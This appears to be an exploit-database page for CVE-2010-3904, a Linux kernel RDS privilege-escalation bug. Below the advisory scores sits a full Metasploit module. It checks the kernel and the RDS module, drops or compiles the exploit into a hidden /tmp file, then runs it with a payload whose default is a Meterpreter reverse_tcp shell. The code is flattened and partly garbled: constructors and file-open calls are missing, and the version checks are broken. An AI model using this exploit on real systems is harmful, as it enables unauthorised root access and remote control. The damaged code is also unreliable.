Reliable Datagram Sockets (RDS) Privilege Escalation

Credit: Dan Rosenberg
Risk: Medium
Local: Yes
Remote: No
CWE: CWE-264

CVSS Base Score: 7.2/10
Impact Subscore: 10/10
Exploitability Subscore: 3.9/10
Exploit range: Local
Attack complexity: Low
Authentication: No required
Confidentiality impact: Complete
Integrity impact: Complete
Availability impact: Complete

## # This module requires Metasploit: # Current source: ## class MetasploitModule < Msf::Exploit::Local Rank = GreatRanking include Msf::Post::File include Msf::Post::Linux::Priv include Msf::Post::Linux::System include Msf::Post::Linux::Kernel include Msf::Exploit::EXE include Msf::Exploit::FileDropper def initialize(info = {}) super(update_info(info, 'Name' => 'Reliable Datagram Sockets (RDS) Privilege Escalation', 'Description' => %q{ This module exploits a vulnerability in the rds_page_copy_user function in net/rds/page.c (RDS) in Linux kernel versions 2.6.30 to 2.6.36-rc8 to execute code as root (CVE-2010-3904). This module has been tested successfully on Fedora 13 (i686) with kernel version and Ubuntu 10.04 (x86_64) with kernel version 2.6.32-21-generic. }, 'License' => MSF_LICENSE, 'Author' => [ 'Dan Rosenberg', # Discovery and C exploit 'Brendan Coles' # Metasploit ], 'DisclosureDate' => 'Oct 20 2010', 'Platform' => [ 'linux' ], 'Arch' => [ ARCH_X86, ARCH_X64 ], 'SessionTypes' => [ 'shell', 'meterpreter' ], 'Targets' => [[ 'Auto', {} ]], 'Privileged' => true, 'References' => [ [ 'AKA', 'rds-fail.c' ], [ 'EDB', '15285' ], [ 'CVE', '2010-3904' ], [ 'BID', '44219' ], [ 'URL', '' ], [ 'URL', '' ], [ 'URL', '' ], [ 'URL', '' ], [ 'URL', '' ], ], 'DefaultOptions' => { 'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp', 'WfsDelay' => 10, 'PrependFork' => true }, 'DefaultTarget' => 0)) register_options ['COMPILE', [ true, 'Compile on target', 'Auto', %w(Auto True False) ]),'WritableDir', [ true, 'A directory where we can write files', '/tmp' ]), ] end def base_dir datastore['WritableDir'].to_s end def modules_disabled? modules_disabled = cmd_exec('cat /proc/sys/kernel/modules_disabled').to_s.strip (modules_disabled.eql?('1') || modules_disabled.eql?('2')) end def upload(path, data) print_status "Writing '#{path}' (#{data.size} bytes) ..." rm_f path write_file path, data register_file_for_cleanup path end def upload_and_chmodx(path, data) upload path, data cmd_exec "chmod +x '#{path}'" end def upload_and_compile(path, data) upload "#{path}.c", data output = cmd_exec "gcc -o #{path} #{path}.c" unless output.blank? print_error output fail_with Failure::Unknown, "#{path}.c failed to compile" end cmd_exec "chmod +x #{path}" register_file_for_cleanup path end def exploit_data(file) path = ::File.join Msf::Config.data_directory, 'exploits', 'cve-2010-3904', file fd = path, 'rb' data = fd.stat.size fd.close data end def live_compile? return false unless datastore['COMPILE'].eql?('Auto') || datastore['COMPILE'].eql?('True') if has_gcc? vprint_good 'gcc is installed' return true end unless datastore['COMPILE'].eql? 'Auto' fail_with Failure::BadConfig, 'gcc is not installed. Compiling will fail.' end end def check version = kernel_release unless'-').first) >='2.6.30') &&'-').first) <'2.6.37') vprint_error "Linux kernel version #{version} is not vulnerable" return CheckCode::Safe end vprint_good "Linux kernel version #{version} appears to be vulnerable" unless cmd_exec('/sbin/modinfo rds').to_s.include? 'Reliable Datagram Sockets' vprint_error 'RDS kernel module is not available' return CheckCode::Safe end vprint_good 'RDS kernel module is available' if modules_disabled? unless cmd_exec('/sbin/lsmod').to_s.include? 'rds' vprint_error 'RDS kernel module is not loadable' return CheckCode::Safe end end vprint_good 'RDS kernel module is loadable' CheckCode::Appears end def exploit unless check == CheckCode::Appears fail_with Failure::NotVulnerable, 'Target is not vulnerable' end if is_root? fail_with Failure::BadConfig, 'Session already has root privileges' end unless cmd_exec("test -w '#{base_dir}' && echo true").include? 'true' fail_with Failure::BadConfig, "#{base_dir} is not writable" end # Upload exploit executable executable_name = ".#{rand_text_alphanumeric rand(5..10)}" executable_path = "#{base_dir}/#{executable_name}" if live_compile? vprint_status 'Live compiling exploit on system...' upload_and_compile executable_path, exploit_data('rds-fail.c') else vprint_status 'Dropping pre-compiled exploit on system...' arch = kernel_hardware case arch when /amd64|ia64|x86_64|x64/i upload_and_chmodx executable_path, exploit_data('rds-fail.x64') when /x86|i[3456]86/ upload_and_chmodx executable_path, exploit_data('rds-fail.x86') else fail_with Failure::NoTarget, "No pre-compiled binaries are available for system architecture: #{arch}" end end # Upload payload executable payload_path = "#{base_dir}/.#{rand_text_alphanumeric rand(5..10)}" upload_and_chmodx payload_path, generate_payload_exe # Launch exploit print_status 'Launching exploit...' output = cmd_exec "#{executable_path} #{payload_path}" output.each_line { |line| vprint_status line.chomp } end end

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